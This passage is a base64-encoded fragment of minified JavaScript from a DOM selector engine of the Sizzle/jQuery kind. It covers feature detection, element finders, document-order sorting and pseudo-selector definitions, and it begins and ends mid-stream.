CExKTpuLmF0dGFjaEV2ZW50JiZuLmF0dGFjaEV2ZW50KCJvbnVubG9hZCIsb2UpKSxkLmF0dHJpYnV0ZXM9Y2UoZnVuY3Rpb24oZSl7cmV0dXJuIGUuY2xhc3NOYW1lPSJpIiwhZS5nZXRBdHRyaWJ1dGUoImNsYXNzTmFtZSIpfSksZC5nZXRFbGVtZW50c0J5VGFnTmFtZT1jZShmdW5jdGlvbihlKXtyZXR1cm4gZS5hcHBlbmRDaGlsZChDLmNyZWF0ZUNvbW1lbnQoIiIpKSwhZS5nZXRFbGVtZW50c0J5VGFnTmFtZSgiKiIpLmxlbmd0aH0pLGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZT1LLnRlc3QoQy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKSxkLmdldEJ5SWQ9Y2UoZnVuY3Rpb24oZSl7cmV0dXJuIGEuYXBwZW5kQ2hpbGQoZSkuaWQ9aywhQy5nZXRFbGVtZW50c0J5TmFtZXx8IUMuZ2V0RWxlbWVudHNCeU5hbWUoaykubGVuZ3RofSksZC5nZXRCeUlkPyhiLmZpbHRlci5JRD1mdW5jdGlvbihlKXt2YXIgdD1lLnJlcGxhY2UodGUsbmUpO3JldHVybiBmdW5jdGlvbihlKXtyZXR1cm4gZS5nZXRBdHRyaWJ1dGUoImlkIik9PT10fX0sYi5maW5kLklEPWZ1bmN0aW9uKGUsdCl7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiB0LmdldEVsZW1lbnRCeUlkJiZFKXt2YXIgbj10LmdldEVsZW1lbnRCeUlkKGUpO3JldHVybiBuP1tuXTpbXX19KTooYi5maWx0ZXIuSUQ9ZnVuY3Rpb24oZSl7dmFyIG49ZS5yZXBsYWNlKHRlLG5lKTtyZXR1cm4gZnVuY3Rpb24oZSl7dmFyIHQ9InVuZGVmaW5lZCIhPXR5cGVvZiBlLmdldEF0dHJpYnV0ZU5vZGUmJmUuZ2V0QXR0cmlidXRlTm9kZSgiaWQiKTtyZXR1cm4gdCYmdC52YWx1ZT09PW59fSxiLmZpbmQuSUQ9ZnVuY3Rpb24oZSx0KXtpZigidW5kZWZpbmVkIiE9dHlwZW9mIHQuZ2V0RWxlbWVudEJ5SWQmJkUpe3ZhciBuLHIsaSxvPXQuZ2V0RWxlbWVudEJ5SWQoZSk7aWYobyl7aWYoKG49by5nZXRBdHRyaWJ1dGVOb2RlKCJpZCIpKSYmbi52YWx1ZT09PWUpcmV0dXJuW29dO2k9dC5nZXRFbGVtZW50c0J5TmFtZShlKSxyPTA7d2hpbGUobz1pW3IrK10paWYoKG49by5nZXRBdHRyaWJ1dGVOb2RlKCJpZCIpKSYmbi52YWx1ZT09PWUpcmV0dXJuW29dfXJldHVybltdfX0pLGIuZmluZC5UQUc9ZC5nZXRFbGVtZW50c0J5VGFnTmFtZT9mdW5jdGlvbihlLHQpe3JldHVybiJ1bmRlZmluZWQiIT10eXBlb2YgdC5nZXRFbGVtZW50c0J5VGFnTmFtZT90LmdldEVsZW1lbnRzQnlUYWdOYW1lKGUpOmQucXNhP3QucXVlcnlTZWxlY3RvckFsbChlKTp2b2lkIDB9OmZ1bmN0aW9uKGUsdCl7dmFyIG4scj1bXSxpPTAsbz10LmdldEVsZW1lbnRzQnlUYWdOYW1lKGUpO2lmKCIqIj09PWUpe3doaWxlKG49b1tpKytdKTE9PT1uLm5vZGVUeXBlJiZyLnB1c2gobik7cmV0dXJuIHJ9cmV0dXJuIG99LGIuZmluZC5DTEFTUz1kLmdldEVsZW1lbnRzQnlDbGFzc05hbWUmJmZ1bmN0aW9uKGUsdCl7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiB0LmdldEVsZW1lbnRzQnlDbGFzc05hbWUmJkUpcmV0dXJuIHQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZShlKX0scz1bXSx2PVtdLChkLnFzYT1LLnRlc3QoQy5xdWVyeVNlbGVjdG9yQWxsKSkmJihjZShmdW5jdGlvbihlKXthLmFwcGVuZENoaWxkKGUpLmlubmVySFRNTD0iPGEgaWQ9JyIraysiJz48L2E+PHNlbGVjdCBpZD0nIitrKyItXHJcXCcgbXNhbGxvd2NhcHR1cmU9Jyc+PG9wdGlvbiBzZWxlY3RlZD0nJz48L29wdGlvbj48L3NlbGVjdD4iLGUucXVlcnlTZWxlY3RvckFsbCgiW21zYWxsb3djYXB0dXJlXj0nJ10iKS5sZW5ndGgmJnYucHVzaCgiWypeJF09IitNKyIqKD86Jyd8XCJcIikiKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIltzZWxlY3RlZF0iKS5sZW5ndGh8fHYucHVzaCgiXFxbIitNKyIqKD86dmFsdWV8IitSKyIpIiksZS5xdWVyeVNlbGVjdG9yQWxsKCJbaWR+PSIraysiLV0iKS5sZW5ndGh8fHYucHVzaCgifj0iKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIjpjaGVja2VkIikubGVuZ3RofHx2LnB1c2goIjpjaGVja2VkIiksZS5xdWVyeVNlbGVjdG9yQWxsKCJhIyIraysiKyoiKS5sZW5ndGh8fHYucHVzaCgiLiMuK1srfl0iKX0pLGNlKGZ1bmN0aW9uKGUpe2UuaW5uZXJIVE1MPSI8YSBocmVmPScnIGRpc2FibGVkPSdkaXNhYmxlZCc+PC9hPjxzZWxlY3QgZGlzYWJsZWQ9J2Rpc2FibGVkJz48b3B0aW9uLz48L3NlbGVjdD4iO3ZhciB0PUMuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTt0LnNldEF0dHJpYnV0ZSgidHlwZSIsImhpZGRlbiIpLGUuYXBwZW5kQ2hpbGQodCkuc2V0QXR0cmlidXRlKCJuYW1lIiwiRCIpLGUucXVlcnlTZWxlY3RvckFsbCgiW25hbWU9ZF0iKS5sZW5ndGgmJnYucHVzaCgibmFtZSIrTSsiKlsqXiR8IX5dPz0iKSwyIT09ZS5xdWVyeVNlbGVjdG9yQWxsKCI6ZW5hYmxlZCIpLmxlbmd0aCYmdi5wdXNoKCI6ZW5hYmxlZCIsIjpkaXNhYmxlZCIpLGEuYXBwZW5kQ2hpbGQoZSkuZGlzYWJsZWQ9ITAsMiE9PWUucXVlcnlTZWxlY3RvckFsbCgiOmRpc2FibGVkIikubGVuZ3RoJiZ2LnB1c2goIjplbmFibGVkIiwiOmRpc2FibGVkIiksZS5xdWVyeVNlbGVjdG9yQWxsKCIqLDp4Iiksdi5wdXNoKCIsLio6Iil9KSksKGQubWF0Y2hlc1NlbGVjdG9yPUsudGVzdChjPWEubWF0Y2hlc3x8YS53ZWJraXRNYXRjaGVzU2VsZWN0b3J8fGEubW96TWF0Y2hlc1NlbGVjdG9yfHxhLm9NYXRjaGVzU2VsZWN0b3J8fGEubXNNYXRjaGVzU2VsZWN0b3IpKSYmY2UoZnVuY3Rpb24oZSl7ZC5kaXNjb25uZWN0ZWRNYXRjaD1jLmNhbGwoZSwiKiIpLGMuY2FsbChlLCJbcyE9JyddOngiKSxzLnB1c2goIiE9IiwkKX0pLHY9di5sZW5ndGgmJm5ldyBSZWdFeHAodi5qb2luKCJ8IikpLHM9cy5sZW5ndGgmJm5ldyBSZWdFeHAocy5qb2luKCJ8IikpLHQ9Sy50ZXN0KGEuY29tcGFyZURvY3VtZW50UG9zaXRpb24pLHk9dHx8Sy50ZXN0KGEuY29udGFpbnMpP2Z1bmN0aW9uKGUsdCl7dmFyIG49OT09PWUubm9kZVR5cGU/ZS5kb2N1bWVudEVsZW1lbnQ6ZSxyPXQmJnQucGFyZW50Tm9kZTtyZXR1cm4gZT09PXJ8fCEoIXJ8fDEhPT1yLm5vZGVUeXBlfHwhKG4uY29udGFpbnM/bi5jb250YWlucyhyKTplLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uJiYxNiZlLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKHIpKSl9OmZ1bmN0aW9uKGUsdCl7aWYodCl3aGlsZSh0PXQucGFyZW50Tm9kZSlpZih0PT09ZSlyZXR1cm4hMDtyZXR1cm4hMX0sRD10P2Z1bmN0aW9uKGUsdCl7aWYoZT09PXQpcmV0dXJuIGw9ITAsMDt2YXIgbj0hZS5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbi0hdC5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbjtyZXR1cm4gbnx8KDEmKG49KGUub3duZXJEb2N1bWVudHx8ZSk9PT0odC5vd25lckRvY3VtZW50fHx0KT9lLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKHQpOjEpfHwhZC5zb3J0RGV0YWNoZWQmJnQuY29tcGFyZURvY3VtZW50UG9zaXRpb24oZSk9PT1uP2U9PT1DfHxlLm93bmVyRG9jdW1lbnQ9PT1tJiZ5KG0sZSk/LTE6dD09PUN8fHQub3duZXJEb2N1bWVudD09PW0mJnkobSx0KT8xOnU/UCh1LGUpLVAodSx0KTowOjQmbj8tMToxKX06ZnVuY3Rpb24oZSx0KXtpZihlPT09dClyZXR1cm4gbD0hMCwwO3ZhciBuLHI9MCxpPWUucGFyZW50Tm9kZSxvPXQucGFyZW50Tm9kZSxhPVtlXSxzPVt0XTtpZighaXx8IW8pcmV0dXJuIGU9PT1DPy0xOnQ9PT1DPzE6aT8tMTpvPzE6dT9QKHUsZSktUCh1LHQpOjA7aWYoaT09PW8pcmV0dXJuIHBlKGUsdCk7bj1lO3doaWxlKG49bi5wYXJlbnROb2RlKWEudW5zaGlmdChuKTtuPXQ7d2hpbGUobj1uLnBhcmVudE5vZGUpcy51bnNoaWZ0KG4pO3doaWxlKGFbcl09PT1zW3JdKXIrKztyZXR1cm4gcj9wZShhW3JdLHNbcl0pOmFbcl09PT1tPy0xOnNbcl09PT1tPzE6MH0pLEN9LHNlLm1hdGNoZXM9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gc2UoZSxudWxsLG51bGwsdCl9LHNlLm1hdGNoZXNTZWxlY3Rvcj1mdW5jdGlvbihlLHQpe2lmKChlLm93bmVyRG9jdW1lbnR8fGUpIT09QyYmVChlKSxkLm1hdGNoZXNTZWxlY3RvciYmRSYmIUFbdCsiICJdJiYoIXN8fCFzLnRlc3QodCkpJiYoIXZ8fCF2LnRlc3QodCkpKXRyeXt2YXIgbj1jLmNhbGwoZSx0KTtpZihufHxkLmRpc2Nvbm5lY3RlZE1hdGNofHxlLmRvY3VtZW50JiYxMSE9PWUuZG9jdW1lbnQubm9kZVR5cGUpcmV0dXJuIG59Y2F0Y2goZSl7QSh0LCEwKX1yZXR1cm4gMDxzZSh0LEMsbnVsbCxbZV0pLmxlbmd0aH0sc2UuY29udGFpbnM9ZnVuY3Rpb24oZSx0KXtyZXR1cm4oZS5vd25lckRvY3VtZW50fHxlKSE9PUMmJlQoZSkseShlLHQpfSxzZS5hdHRyPWZ1bmN0aW9uKGUsdCl7KGUub3duZXJEb2N1bWVudHx8ZSkhPT1DJiZUKGUpO3ZhciBuPWIuYXR0ckhhbmRsZVt0LnRvTG93ZXJDYXNlKCldLHI9biYmai5jYWxsKGIuYXR0ckhhbmRsZSx0LnRvTG93ZXJDYXNlKCkpP24oZSx0LCFFKTp2b2lkIDA7cmV0dXJuIHZvaWQgMCE9PXI/cjpkLmF0dHJpYnV0ZXN8fCFFP2UuZ2V0QXR0cmlidXRlKHQpOihyPWUuZ2V0QXR0cmlidXRlTm9kZSh0KSkmJnIuc3BlY2lmaWVkP3IudmFsdWU6bnVsbH0sc2UuZXNjYXBlPWZ1bmN0aW9uKGUpe3JldHVybihlKyIiKS5yZXBsYWNlKHJlLGllKX0sc2UuZXJyb3I9ZnVuY3Rpb24oZSl7dGhyb3cgbmV3IEVycm9yKCJTeW50YXggZXJyb3IsIHVucmVjb2duaXplZCBleHByZXNzaW9uOiAiK2UpfSxzZS51bmlxdWVTb3J0PWZ1bmN0aW9uKGUpe3ZhciB0LG49W10scj0wLGk9MDtpZihsPSFkLmRldGVjdER1cGxpY2F0ZXMsdT0hZC5zb3J0U3RhYmxlJiZlLnNsaWNlKDApLGUuc29ydChEKSxsKXt3aGlsZSh0PWVbaSsrXSl0PT09ZVtpXSYmKHI9bi5wdXNoKGkpKTt3aGlsZShyLS0pZS5zcGxpY2UobltyXSwxKX1yZXR1cm4gdT1udWxsLGV9LG89c2UuZ2V0VGV4dD1mdW5jdGlvbihlKXt2YXIgdCxuPSIiLHI9MCxpPWUubm9kZVR5cGU7aWYoaSl7aWYoMT09PWl8fDk9PT1pfHwxMT09PWkpe2lmKCJzdHJpbmciPT10eXBlb2YgZS50ZXh0Q29udGVudClyZXR1cm4gZS50ZXh0Q29udGVudDtmb3IoZT1lLmZpcnN0Q2hpbGQ7ZTtlPWUubmV4dFNpYmxpbmcpbis9byhlKX1lbHNlIGlmKDM9PT1pfHw0PT09aSlyZXR1cm4gZS5ub2RlVmFsdWV9ZWxzZSB3aGlsZSh0PWVbcisrXSluKz1vKHQpO3JldHVybiBufSwoYj1zZS5zZWxlY3RvcnM9e2NhY2hlTGVuZ3RoOjUwLGNyZWF0ZVBzZXVkbzpsZSxtYXRjaDpHLGF0dHJIYW5kbGU6e30sZmluZDp7fSxyZWxhdGl2ZTp7Ij4iOntkaXI6InBhcmVudE5vZGUiLGZpcnN0OiEwfSwiICI6e2RpcjoicGFyZW50Tm9kZSJ9LCIrIjp7ZGlyOiJwcmV2aW91c1NpYmxpbmciLGZpcnN0OiEwfSwifiI6e2RpcjoicHJldmlvdXNTaWJsaW5nIn19LHByZUZpbHRlcjp7QVRUUjpmdW5jdGlvbihlKXtyZXR1cm4gZVsxXT1lWzFdLnJlcGxhY2UodGUsbmUpLGVbM109KGVbM118fGVbNF18fGVbNV18fCIiKS5yZXBsYWNlKHRlLG5lKSwifj0iPT09ZVsyXSYmKGVbM109IiAiK2VbM10rIiAiKSxlLnNsaWNlKDAsNCl9LENISUxEOmZ1bmN0aW9uKGUpe3JldHVybiBlWzFdPWVbMV0udG9Mb3dlckNhc2UoKSwibnRoIj09PWVbMV0uc2xpY2UoMCwzKT8oZVszXXx8c2UuZXJyb3IoZVswXSksZVs0XT0rKGVbNF0/ZVs1XSsoZVs2XXx8MSk6MiooImV2ZW4iPT09ZVszXXx8Im9kZCI9PT1lWzNdKSksZVs1XT0rKGVbN10rZVs4XXx8Im9kZCI9PT1lWzNdKSk6ZVszXSYmc2UuZXJyb3IoZVswXSksZX0sUFNFVURPOmZ1bmN0aW9uKGUpe3ZhciB0LG49IWVbNl0mJmVbMl07cmV0dXJuIEcuQ0hJTEQudGVzdChlWzBdKT9udWxsOihlWzNdP2VbMl09ZVs0XXx8ZVs1XXx8IiI6biYmWC50ZXN0KG4pJiYodD1oKG4sITApKSYmKHQ9bi5pbmRleE9mKCIpIixuLmxlbmd0aC10KS1uLmxlbmd0aCkmJihlWzBdPWVbMF0uc2xpY2UoMCx0KSxlWzJdPW4uc2xpY2UoMCx0KSksZS5zbGljZSgwLDMpKX19LGZpbHRlcjp7VEFHOmZ1bmN0aW9uKGUpe3ZhciB0PWUucmVwbGFjZSh0ZSxuZSkudG9Mb3dlckNhc2UoKTtyZXR1cm4iKiI9PT1lP2Z1bmN0aW9uKCl7cmV0dXJuITB9OmZ1bmN0aW9uKGUpe3JldHVybiBlLm5vZGVOYW1lJiZlLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT10fX0sQ0xBU1M6ZnVuY3Rpb24oZSl7dmFyIHQ9cFtlKyIgIl07cmV0dXJuIHR8fCh0PW5ldyBSZWdFeHAoIihefCIrTSsiKSIrZSsiKCIrTSsifCQpIikpJiZwKGUsZnVuY3Rpb24oZSl7cmV0dXJuIHQudGVzdCgic3RyaW5nIj09dHlwZW9mIGUuY2xhc3NOYW1lJiZlLmNsYXNzTmFtZXx8InVuZGVmaW5lZCIhPXR5cGVvZiBlLmdldEF0dHJpYnV0ZSYmZS5nZXRBdHRyaWJ1dGUoImNsYXNzIil8fCIiKX0pfSxBVFRSOmZ1bmN0aW9uKG4scixpKXtyZXR1cm4gZnVuY3Rpb24oZSl7dmFyIHQ9c2UuYXR0cihlLG4pO3JldHVybiBudWxsPT10PyIhPSI9PT1yOiFyfHwodCs9IiIsIj0iPT09cj90PT09aToiIT0iPT09cj90IT09aToiXj0iPT09cj9pJiYwPT09dC5pbmRleE9mKGkpOiIqPSI9PT1yP2kmJi0xPHQuaW5kZXhPZihpKToiJD0iPT09cj9pJiZ0LnNsaWNlKC1pLmxlbmd0aCk9PT1pOiJ+PSI9PT1yPy0xPCgiICIrdC5yZXBsYWNlKEYsIiAiKSsiICIpLmluZGV4T2YoaSk6Inw9Ij09PXImJih0PT09aXx8dC5zbGljZSgwLGkubGVuZ3RoKzEpPT09aSsiLSIpKX19LENISUxEOmZ1bmN0aW9uKGgsZSx0LGcsdil7dmFyIHk9Im50aCIhPT1oLnNsaWNlKDAsMyksbT0ibGFzdCIhPT1oLnNsaWNlKC00KSx4PSJvZi10eXBlIj09PWU7cmV0dXJuIDE9PT1nJiYwPT09dj9mdW5jdGlvbihlKXtyZXR1cm4hIWUucGFyZW50Tm9kZX06ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbyxhLHMsdSxsPXkhPT1tPyJuZXh0U2libGluZyI6InByZXZpb3VzU2libGluZyIsYz1lLnBhcmVudE5vZGUsZj14JiZlLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkscD0hbiYmIXgsZD0hMTtpZihjKXtpZih5KXt3aGlsZShsKXthPWU7d2hpbGUoYT1hW2xdKWlmKHg/YS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpPT09ZjoxPT09YS5ub2RlVHlwZSlyZXR1cm4hMTt1PWw9Im9ubHkiPT09aCYmIXUmJiJuZXh0U2libGluZyJ9cmV0dXJuITB9aWYodT1bbT9jLmZpcnN0Q2hpbGQ6Yy5sYXN0Q2hpbGRdLG0mJnApe2Q9KHM9KHI9KGk9KG89KGE9Yylba118fChhW2tdPXt9KSlbYS51bmlxdWVJRF18fChvW2EudW5pcXVlSURdPXt9KSlbaF18fFtdKVswXT09PVMmJnJbMV0pJiZyWzJdLGE9cyYmYy5jaGlsZE5vZGVzW3NdO3doaWxlKGE9KytzJiZhJiZhW2xdfHwoZD1zPTApfHx1LnBvcCgpKWlmKDE9PT1hLm5vZGVUeXBlJiYrK2QmJmE9PT1lKXtpW2hdPVtTLHMsZF07YnJlYWt9fWVsc2UgaWYocCYmKGQ9cz0ocj0oaT0obz0oYT1lKVtrXXx8KGFba109e30pKVthLnVuaXF1ZUlEXXx8KG9bYS51bmlxdWVJRF09e30pKVtoXXx8W10pWzBdPT09UyYmclsxXSksITE9PT1kKXdoaWxlKGE9KytzJiZhJiZhW2xdfHwoZD1zPTApfHx1LnBvcCgpKWlmKCh4P2Eubm9kZU5hbWUudG9Mb3dlckNhc2UoKT09PWY6MT09PWEubm9kZVR5cGUpJiYrK2QmJihwJiYoKGk9KG89YVtrXXx8KGFba109e30pKVthLnVuaXF1ZUlEXXx8KG9bYS51bmlxdWVJRF09e30pKVtoXT1bUyxkXSksYT09PWUpKWJyZWFrO3JldHVybihkLT12KT09PWd8fGQlZz09MCYmMDw9ZC9nfX19LFBTRVVETzpmdW5jdGlvbihlLG8pe3ZhciB0LGE9Yi5wc2V1ZG9zW2VdfHxiLnNldEZpbHRlcnNbZS50b0xvd2VyQ2FzZSgpXXx8c2UuZXJyb3IoInVuc3VwcG9ydGVkIHBzZXVkbzogIitlKTtyZXR1cm4gYVtrXT9hKG8pOjE8YS5sZW5ndGg/KHQ9W2UsZSwiIixvXSxiLnNldEZpbHRlcnMuaGFzT3duUHJvcGVydHkoZS50b0xvd2VyQ2FzZSgpKT9sZShmdW5jdGlvbihlLHQpe3ZhciBuLHI9YShlLG8pLGk9ci5sZW5ndGg7d2hpbGUoaS0tKWVbbj1QKGUscltpXSldPSEodFtuXT1yW2ldKX0pOmZ1bmN0aW9uKGUpe3JldHVybiBhKGUsMCx0KX0pOmF9fSxwc2V1ZG9zOntub3Q6bGUoZnVuY3Rpb24oZSl7dmFyIHI9W10saT1bXSxzPWYoZS5yZXBsYWNlKEIsIiQxIikpO3JldHVybiBzW2tdP2xlKGZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpLG89cyhlLG51bGwscixbXSksYT1lLmxlbmd0aDt3aGlsZShhLS0pKGk9b1thXSkmJihlW2FdPSEodFthXT1pKSl9KTpmdW5jdGlvbihlLHQsbil7cmV0dXJuIHJbMF09ZSxzKHIsbnVsbCxuLGkpLHJbMF09bnVsbCwhaS5wb3AoKX19KSxoYXM6bGUoZnVuY3Rpb24odCl7cmV0dXJuIGZ1bmN0aW9uKGUpe3JldHVybiAwPHNlKHQsZSkubGVuZ3RofX0pLGNvbnRhaW5zOmxlKGZ1bmN0aW9uKHQpe3JldHVybiB0PXQucmVwbGFjZSh0ZSxuZSksZnVuY3Rpb24oZSl7cmV0dXJuLTE8KGUudGV4dENvbnRlbnR8fG8oZSkpLmluZGV4T2YodCl9fSksbGFuZzpsZShmdW5jdGlvbihuKXtyZXR1cm4gVi50ZXN0KG58fCIiKXx8c2UuZXJyb3IoInVuc3VwcG9ydGVkIGxhbmc6ICIrbiksbj1uLnJlcGxhY2UodGUsbmUpLnRvTG93ZXJDYXNlKCksZnVuY3Rpb24oZSl7dmFyIHQ7ZG97aWYodD1FP2UubGFuZzplLmdldEF0dHJpYnV0ZSgieG1sOmxhbmciKXx8ZS5nZXRBdHRyaWJ1dGUoImxhbmciKSlyZXR1cm4odD10LnRvTG93ZXJDYXNlKCkpPT09bnx8MD09PXQuaW5kZXhPZihuKyItIil9d2hpbGUoKGU9ZS5wYXJlbnROb2RlKSYmMT09PWUubm9kZVR5cGUpO3JldHVybiExfX0pLHRhcmdldDpmdW5jdGlvbihlKXt2YXIgdD1uLmxvY2F0aW9uJiZuLmxvY2F0aW9uLmhhc2g7cmV0dXJuIHQmJnQuc2xpY2UoMSk9PT1lLmlkfSxyb290OmZ1bmN0aW9uKGUpe3JldHVybiBlPT09YX0sZm9jdXM6ZnVuY3Rpb24oZSl7cmV0dXJuIGU9PT1DLmFjdGl2ZUVsZW1lbnQmJighQy5oYXNGb2N1c3x8Qy5oYXNGb2N1cygpKSYmISEoZS50eXBlfHxlLmhyZWZ8fH5lLnRhYkluZGV4KX0sZW5hYmxlZDpnZSghMSksZGlzYWJsZWQ6Z2UoITApLGNoZWNrZWQ6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpO3JldHVybiJpbnB1dCI9PT10JiYhIWUuY2hlY2tlZHx8Im9wdGlvbiI9PT10JiYhIWUuc2VsZWN0ZWR9LHNlbGVjdGVkOmZ1bmN0aW9uKGUpe3JldHVybiBlLnBhcmVudE5vZGUmJmUucGFyZW50Tm9kZS5zZWxlY3RlZEluZGV4LCEwPT09ZS5zZWxlY3RlZH0sZW1wdHk6ZnVuY3Rpb24oZSl7Zm9yKGU9ZS5maXJzdENoaWxkO2U7ZT1lLm5leHRTaWJsaW5nKWlmKGUubm9kZVR5cGU8NilyZXR1cm4hMTtyZXR1cm4hMH0scGFyZW50OmZ1bmN0aW9uKGUpe3JldHVybiFiLnBzZXVkb3MuZW1wdHkoZSl9LGhlYWRlcjpmdW5jdGlvbihlKXtyZXR1cm4gSi50ZXN0KGUubm9kZU5hbWUpfSxpbnB1dDpmdW5jdGlvbihlKXtyZXR1cm4gUS50ZXN0KGUubm9kZU5hbWUpfSxidXR0b246ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpO3JldHVybiJpbnB1dCI9PT10JiYiYnV0dG9uIj09PWUudHlwZXx8ImJ1dHRvbiI9PT10fSx0ZXh0OmZ1bmN0aW9uKGUpe3ZhciB0O3JldHVybiJpbnB1dCI9PT1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkmJiJ0ZXh0Ij09PWUudHlwZSYmKG51bGw9PSh0PWUuZ2V0QXR0cmlidXRlKCJ0eXBlIikpfHwidGV4dCI9PT10LnRvTG93ZXJDYXNlKCkpfSxmaXJzdDp2ZShmdW5jdGlvbigpe3JldHVyblswXX0pLGxhc3Q6dmUoZnVuY3Rpb24oZSx0KXtyZXR1cm5bdC0xXX0pLGVxOnZlKGZ1bmN0aW9uKGUsdCxuKXtyZXR1cm5bbjwwP24rdDpuXX0pLGV2ZW46dmUoZnVuY3Rpb24oZSx0KXtmb3IodmFyIG49MDtuPHQ7bis9MillLnB1c2gobik7cmV0dXJuIGV9KSxvZGQ6dmUoZnVuY3Rpb24oZSx0KXtmb3IodmFyIG49MTtuPHQ7bis9MillLnB1c2gobik7cmV0dXJuIGV9KSxsdDp2ZShmdW5jdGlvbihlLHQsbil7Zm9yKHZhciByPW48MD9uK3Q6dDxuP3Q6bjswPD0tLXI7KWUucHVzaChyKTtyZXR1cm4gZX0pLGd0OnZlKGZ1bmN0aW9uKGUsdCxuKXtmb3IodmFyIHI9bjwwP24rdDpuOysrcjx0OyllLnB1c2gocik7cmV0dXJuIGV9KX19KS5wc2V1ZG9zLm50aD1iLnBzZXVkb3MuZXEse3JhZGlvOiEwLGNoZWNrYm94OiEwLGZpbGU6ITAscGFzc3dvcmQ6ITAsaW1hZ2U6ITB9KWIucHNldWRvc1tlXT1kZShlKTtmb3IoZSBpbntzdWJtaXQ6ITAscmVzZXQ6ITB9KWIucHNldWRvc1tlXT1oZShlKTtmdW5jdGlvbiBtZSgpe31mdW5jdGlvbiB4ZShlKXtmb3IodmFyIHQ9MCxuPWUubGVuZ3RoLHI9IiI7dDxuO3QrKylyKz1lW3RdLnZhbHVlO3JldHVybiByfWZ1bmN0aW9uIGJlKHMsZSx0KXt2YXIgdT1lLmRpcixsPWUubmV4dCxjPWx8fHUsZj10JiYicGFyZW50Tm9kZSI9PT1jLHA9cisrO3JldHVybiBlLmZpcnN0P2Z1bmN0aW9uKGUsdCxuKXt3aGlsZShlPWVbdV0paWYoMT09PWUubm9kZVR5cGV8fGYpcmV0dXJuIHMoZSx0LG4pO3JldHVybiExfTpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGE9W1MscF07aWYobil7d2hpbGUoZT1lW3VdKWlmKCgxPT09ZS5ub2RlVHlwZXx8ZikmJnMoZSx0LG4pKXJldHVybiEwfWVsc2Ugd2hpbGUoZT1lW3VdKWlmKDE9PT1lLm5vZGVUeXBlfHxmKWlmKGk9KG89ZVtrXXx8KGVba109e30pKVtlLnVuaXF1ZUlEXXx8KG9bZS51bmlxdWVJRF09e30pLGwmJmw9PT1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpZT1lW3VdfHxlO2Vsc2V7aWYoKHI9aVtjXSkmJnJbMF09PT1TJiZyWzFdPT09cClyZXR1cm4gYVsyXT1yWzJdO2lmKChpW2NdPWEpWzJdPXMoZSx0LG4pKXJldHVybiEwfXJldHVybiExfX1mdW5jdGlvbiB3ZShpKXtyZXR1cm4gMTxpLmxlbmd0aD9mdW5jdGlvbihlLHQsbil7dmFyIHI9aS5sZW5ndGg7d2hpbGUoci0tKWlmKCFpW3JdKGUsdCxuKSlyZXR1cm4hMTtyZXR1cm4hMH06aVswXX1mdW5jdGlvbiBUZShlLHQsbixyLGkpe2Zvcih2YXIgbyxhPVtdLHM9MCx1PWUubGVuZ3RoLGw9bnVsbCE9dDtzPHU7cysrKShvPWVbc10pJiYobiYmIW4obyxyLGkpfHwoYS5wdXNoKG8pLGwmJnQucHVzaChzKSkpO3JldHVybiBhfWZ1bmN0aW9uIENlKGQsaCxnLHYseSxlKXtyZXR1cm4gdiYmIXZba10mJih2PUNlKHYpKSx5JiYheVtrXSYmKHk9Q2UoeSxlKSksbGUoZnVuY3Rpb24oZSx0LG4scil7dmFyIGksbyxhLHM9W10sdT1bXSxsPXQubGVuZ3RoLGM9ZXx8ZnVuY3Rpb24oZSx0LG4pe2Zvcih2YXIgcj0wLGk9dC5sZW5ndGg7cjxpO3IrKylzZShlLHRbcl0sbik7cmV0dXJuIG59KGh8fCIqIixuLm5vZGVUeXBlP1tuXTpuLFtdKSxmPSFkfHwhZSYmaD9jOlRlKGMscyxkLG4scikscD1nP3l8fChlP2Q6bHx8dik/W106dDpmO2lmKGcmJmcoZixwLG4sciksdil7aT1UZShwLHUpLHYoaSxbXSxuLHIpLG89aS5sZW5ndGg7d2hpbGUoby0tKShhPWlbb10pJiYocFt1W29dXT0hKGZbdVtvXV09YSkpfWlmKGUpe2lmKHl8fGQpe2lmKHkpe2k9W10sbz1wLmxlbmd0aDt3aGlsZShvLS0pKGE9cFtvXSkmJmkucHVzaChmW29dPWEpO3kobnVsbCxwPVtdLGkscil9bz1wLmxlbmd0aDt3aGlsZShvLS0pKGE9cFtvXSkmJi0xPChpPXk/UChlLGEpOnNbb10pJiYoZVtpXT0hKHRbaV09YSkpfX1lbHNlIHA9VGUocD09PXQ/cC5zcGxpY2UobCxwLmxlbmd0aCk6cCkseT95KG51bGwsdCxwLHIpOkguYXBwbHkodCxwKX0pfWZ1bmN0aW9uIEVlKGUpe2Zvcih2YXIgaSx0LG4scj1lLmxlbmd0aCxvPWIucmVsYXRpdmVbZVswXS50eXBlXSxhPW98fGIucmVsYXRpdmVbIiAiXSxzPW8/MTowLHU9YmUoZnVuY3Rpb24oZSl7cmV0dXJuIGU9PT1pfSxhLCEwKSxsPWJlKGZ1bmN0aW9uKGUpe3JldHVybi0xPFAoaSxlKX0sYSwhMCksYz1bZnVuY3Rpb24oZSx0LG4pe3ZhciByPSFvJiYobnx8dCE9PXcpfHwoKGk9dCkubm9kZVR5cGU/dShlLHQsbik6bChlLHQsbikpO3JldHVybiBpPW51bGwscn1dO3M8cjtzKyspaWYodD1iLnJlbGF0a